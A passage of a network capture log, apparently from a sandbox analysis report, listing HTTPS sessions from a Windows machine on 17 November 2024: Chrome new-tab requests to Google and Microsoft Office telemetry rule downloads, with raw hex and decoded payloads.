4e 56 6d 74 75 4e 44 63 78 54 58 5a 4b 54 54 56 77 65 6c 56 4b 59 6b Data Ascii: abXdISzlSbUx3eGo3RTJBREo4eHEydmJtSE1nemc1cFZYd29hM0FMVzl3cmJsWE1XN2RuZHN4dFA1TVppZi9BTG9NVTJCUXJiVnROdTlJc2t2cjYzaW5paVdLU09UckljeDdsVmd5UXlBNWpNYWtIQjhzVlJUVEluMDFiKzNhQ2FLVFBSUVhjeVBOanVVRDJxNVVlclpDajFJcHZEekpqTlRmMUNmaytCV2x1bytNVmtuNDcxTXZKTTVwelVKYk
2024-11-17 00:38:29 UTC	126	IN	Data Raw: 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 74 79 70 65 22 3a 5b 22 51 55 45 52 59 22 2c 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 5d 7d 5d 0d 0a Data Ascii: ,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","ENTITY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]
2024-11-17 00:38:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:29 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:29 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:29 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 67879f82-a01e-000d-0dd2-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003829Z-16547b76f7fk9g8vhC1DFW825400000004c0000000003xuf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:29 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49795	142.250.185.68	443	5800	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:29 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 00:38:29 UTC	1018	IN	HTTP/1.1 200 OK Version: 696014727 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 17 Nov 2024 00:38:29 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-17 00:38:29 UTC	360	IN	Data Raw: 32 33 66 31 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 23f1)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-17 00:38:29 UTC	1378	IN	Data Raw: 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 Data Ascii: 3e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u0
2024-11-17 00:38:29 UTC	1378	IN	Data Raw: 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 Data Ascii: u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u0
2024-11-17 00:38:29 UTC	1378	IN	Data Raw: 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d Data Ascii: index\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-
2024-11-17 00:38:29 UTC	1378	IN	Data Raw: 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d Data Ascii: ,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -
2024-11-17 00:38:29 UTC	1378	IN	Data Raw: 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 37 38 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 Data Ascii: 1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700278,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"thi
2024-11-17 00:38:29 UTC	1378	IN	Data Raw: 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 4c 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 4b 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4d 64 5c 75 Data Ascii: 03dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Ld\u003dfunction(a){return new _.Kd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Md\u
2024-11-17 00:38:29 UTC	581	IN	Data Raw: 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 59 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 65 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 62 Data Ascii: ateScriptURL(a):a)};_.$d\u003dfunction(a){if(a instanceof _.Yd)return a.i;throw Error(\"F\");};_.be\u003dfunction(a){if(ae.test(a))return a};_.ce\u003dfunction(a){if(a instanceof _.Nd)if(a instanceof _.Nd)a\u003da.i;else throw Error(\"F\");else a\u003d_.b
2024-11-17 00:38:29 UTC	545	IN	Data Raw: 32 31 61 0d 0a 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 66 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 75 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 67 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 54 64 28 5f 2e 4d 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 53 64 28 5f 2e 4d 63 28 61 2c 62 29 29 7d 3b 5f 2e 54 5c 75 30 30 33 64 66 75 6e 63 74 Data Ascii: 21a\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.fe\u003dfunction(a,b,c){return _.ub(a,b,c,!1)!\u003d\u003dvoid 0};_.ge\u003dfunction(a,b){return _.Td(_.Mc(a,b))};_.S\u003dfunction(a,b){return _.Sd(_.Mc(a,b))};_.T\u003dfunct
2024-11-17 00:38:29 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 5b 5c 5c 77 2b 2e 2d 5d 2b 3a 7c 5b 5e 3a 2f 3f 23 5d 2a 28 3f 3a 5b 2f 3f 23 5d 7c 24 29 29 2f 69 3b 76 61 72 20 6f 65 2c 73 65 2c 6b 65 3b 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 6b 65 28 5f 2e 6c 65 28 61 29 29 3a 69 65 7c 7c 28 69 65 5c 75 30 30 33 64 6e 65 77 20 6b 65 29 7d 3b 5f 2e 6e 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d Data Ascii: 8000[\\w+.-]+:\|[^:/?#]*(?:[/?#]\|$))/i;var oe,se,ke;_.me\u003dfunction(a){return a?new ke(_.le(a)):ie\|\|(ie\u003dnew ke)};_.ne\u003dfunction(a,b){return typeof b\u003d\u003d\u003d\"string\"?a.getElementById(b):b};_.U\u003dfunction(a,b){var c\u003db\|\|docum

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49796	142.250.185.68	443	5800	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:29 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 00:38:29 UTC	933	IN	HTTP/1.1 200 OK Version: 696014727 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 17 Nov 2024 00:38:29 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-17 00:38:29 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-17 00:38:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:29 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:29 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: a3ba40ae-d01e-007a-0c16-37f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003829Z-164f84587bfr8hdmhC1DFWt5nc00000001wg000000002kzt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:29 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	49801	13.107.246.45	443	5800	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:29 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:29 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:29 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0f1e6d84-801e-007b-5baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003829Z-16547b76f7fzwxm2hC1DFWt5hw000000012000000000mk39 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:29 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:29 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:29 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 919dae56-201e-0096-657a-36ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003829Z-164f84587bftbpb6hC1DFWm4kg000000029g00000000e5dt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
